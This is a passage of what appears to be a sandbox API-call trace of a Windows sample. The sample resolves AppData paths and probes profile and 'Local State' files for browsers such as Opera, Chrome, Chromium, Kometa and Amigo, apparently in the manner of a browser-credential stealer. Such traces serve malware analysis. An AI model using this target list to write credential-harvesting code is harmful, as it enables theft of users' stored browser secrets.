dwFlags=0x0, pszPath=0x19f40c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.742] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\NETGATE Technologies\\BlackHawk\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\" [0097.742] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\" [0097.742] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\..\\profiles.ini" [0097.742] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\NETGATE Technologies\\BlackHawk\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\netgate technologies\\blackhawk\\profiles.ini")) returned 0xffffffff [0097.743] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f404 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.743] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Mozilla\\icecat\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\" [0097.743] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\" [0097.743] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\..\\profiles.ini" [0097.743] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\icecat\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\mozilla\\icecat\\profiles.ini")) returned 0xffffffff [0097.743] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f3fc | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.743] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\K-Meleon\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\" [0097.743] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\" [0097.743] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\", lpString2="..\\profiles.ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\..\\profiles.ini" [0097.743] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\K-Meleon\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\profiles.ini")) returned 0xffffffff [0097.743] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.744] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\Opera Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\" [0097.744] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\" [0097.744] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\", lpString2="\\Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\Local State" [0097.744] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0097.744] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x9e) returned 0x3430048 [0097.744] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=79, lpWideCharStr=0x3430048, cchWideChar=79 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\Local State") returned 79 [0097.744] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.744] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.744] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local state")) returned 0xffffffff [0097.744] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.744] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.748] GetLastError () returned 0x3 [0097.748] SetLastError (dwErrCode=0x3) [0097.748] GetLastError () returned 0x3 [0097.748] SetLastError (dwErrCode=0x3) [0097.748] GetLastError () returned 0x3 [0097.748] SetLastError (dwErrCode=0x3) [0097.748] GetLastError () returned 0x3 [0097.748] SetLastError (dwErrCode=0x3) [0097.748] GetLastError () returned 0x3 [0097.749] SetLastError (dwErrCode=0x3) [0097.749] GetLastError () returned 0x3 [0097.749] SetLastError (dwErrCode=0x3) [0097.749] GetLastError () returned 0x3 [0097.749] SetLastError (dwErrCode=0x3) [0097.749] GetLastError () returned 0x3 [0097.749] SetLastError (dwErrCode=0x3) [0097.749] GetLastError () returned 0x3 [0097.749] SetLastError (dwErrCode=0x3) [0097.749] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera Stable\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208009a, ftCreationTime.dwHighDateTime=0xb0, ftLastAccessTime.dwLowDateTime=0x208009a, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x16, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6b94f8, cFileName="¤ð\x19", cAlternateFileName="a")) returned 0xffffffff [0097.810] SHGetFolderPathA (in: hwnd=0x0, csidl=32794, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0 [0097.810] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\Opera GX Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\" [0097.810] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\" [0097.810] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\", lpString2="\\Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\Local State" [0097.810] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x2111478 [0097.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=82, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 82 [0097.810] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa4) returned 0x3430048 [0097.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=82, lpWideCharStr=0x3430048, cchWideChar=82 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\Local State") returned 82 [0097.810] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xb0) returned 0x21111c0 [0097.810] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.810] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local state")) returned 0xffffffff [0097.810] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.811] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] GetLastError () returned 0x3 [0097.811] SetLastError (dwErrCode=0x3) [0097.811] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\Opera GX Stable\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x20800a0, ftCreationTime.dwHighDateTime=0xb8, ftLastAccessTime.dwLowDateTime=0x20800a0, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x17, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6d2b30, cFileName="¤ð\x19", cAlternateFileName=" ")) returned 0xffffffff [0097.812] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.812] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\" [0097.812] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\" [0097.812] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\" [0097.812] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State" [0097.812] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=73, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0097.812] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x92) returned 0x3430048 [0097.812] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=73, lpWideCharStr=0x3430048, cchWideChar=73 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State") returned 73 [0097.812] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x21111c0 [0097.812] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.812] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\google\\chrome\\user data\\local state")) returned 0xffffffff [0097.812] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.812] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.812] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] GetLastError () returned 0x3 [0097.813] SetLastError (dwErrCode=0x3) [0097.813] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Google\\Chrome\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x208008e, ftCreationTime.dwHighDateTime=0xa0, ftLastAccessTime.dwLowDateTime=0x208008e, ftLastAccessTime.dwHighDateTime=0x19f100, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6bb358, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.814] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.814] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Chromium\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\" [0097.814] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\" [0097.814] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\" [0097.814] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State" [0097.814] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0097.814] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x88) returned 0x3430048 [0097.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=68, lpWideCharStr=0x3430048, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State") returned 68 [0097.814] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.814] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.814] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\chromium\\user data\\local state")) returned 0xffffffff [0097.814] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.814] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.814] GetLastError () returned 0x3 [0097.814] SetLastError (dwErrCode=0x3) [0097.814] GetLastError () returned 0x3 [0097.815] SetLastError (dwErrCode=0x3) [0097.815] GetLastError () returned 0x3 [0097.815] SetLastError (dwErrCode=0x3) [0097.815] GetLastError () returned 0x3 [0097.815] SetLastError (dwErrCode=0x3) [0097.815] GetLastError () returned 0x3 [0097.815] SetLastError (dwErrCode=0x3) [0097.815] GetLastError () returned 0x3 [0097.815] SetLastError (dwErrCode=0x3) [0097.815] GetLastError () returned 0x3 [0097.815] SetLastError (dwErrCode=0x3) [0097.815] GetLastError () returned 0x3 [0097.815] SetLastError (dwErrCode=0x3) [0097.815] GetLastError () returned 0x3 [0097.815] SetLastError (dwErrCode=0x3) [0097.815] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Chromium\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080084, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x5e0260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6a7ea0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.815] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.816] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Kometa\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\" [0097.816] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\" [0097.816] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\" [0097.816] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\Local State" [0097.816] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=66, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0097.816] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x84) returned 0x3430048 [0097.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=66, lpWideCharStr=0x3430048, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\Local State") returned 66 [0097.816] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.816] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.816] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\kometa\\user data\\local state")) returned 0xffffffff [0097.816] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0097.816] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111478 | out: hHeap=0x2110000) returned 1 [0097.816] GetLastError () returned 0x3 [0097.816] SetLastError (dwErrCode=0x3) [0097.816] GetLastError () returned 0x3 [0097.816] SetLastError (dwErrCode=0x3) [0097.816] GetLastError () returned 0x3 [0097.816] SetLastError (dwErrCode=0x3) [0097.816] GetLastError () returned 0x3 [0097.816] SetLastError (dwErrCode=0x3) [0097.816] GetLastError () returned 0x3 [0097.817] SetLastError (dwErrCode=0x3) [0097.817] GetLastError () returned 0x3 [0097.817] SetLastError (dwErrCode=0x3) [0097.817] GetLastError () returned 0x3 [0097.817] SetLastError (dwErrCode=0x3) [0097.817] GetLastError () returned 0x3 [0097.817] SetLastError (dwErrCode=0x3) [0097.817] GetLastError () returned 0x3 [0097.817] SetLastError (dwErrCode=0x3) [0097.817] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Kometa\\User Data\\\\*", lpFindFileData=0x19f064 | out: lpFindFileData=0x19f064*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x2080080, ftCreationTime.dwHighDateTime=0x98, ftLastAccessTime.dwLowDateTime=0x5e0260, ftLastAccessTime.dwHighDateTime=0x7f, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x13, nFileSizeHigh=0x3, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x6a7ea0, cFileName="¤ð\x19", cAlternateFileName="")) returned 0xffffffff [0097.817] SHGetFolderPathA (in: hwnd=0x0, csidl=32796, hToken=0x0, dwFlags=0x0, pszPath=0x19f524 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local") returned 0x0 [0097.817] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local", lpString2="\\Amigo\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\" [0097.817] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\" [0097.817] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\" [0097.817] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State" [0097.817] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111478 [0097.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=65, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0097.817] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x82) returned 0x3430048 [0097.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111478, cbMultiByte=65, lpWideCharStr=0x3430048, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Amigo\\User Data\\\\Local State") returned 65 [0097.818] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x90) returned 0x21111c0 [0097.818] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 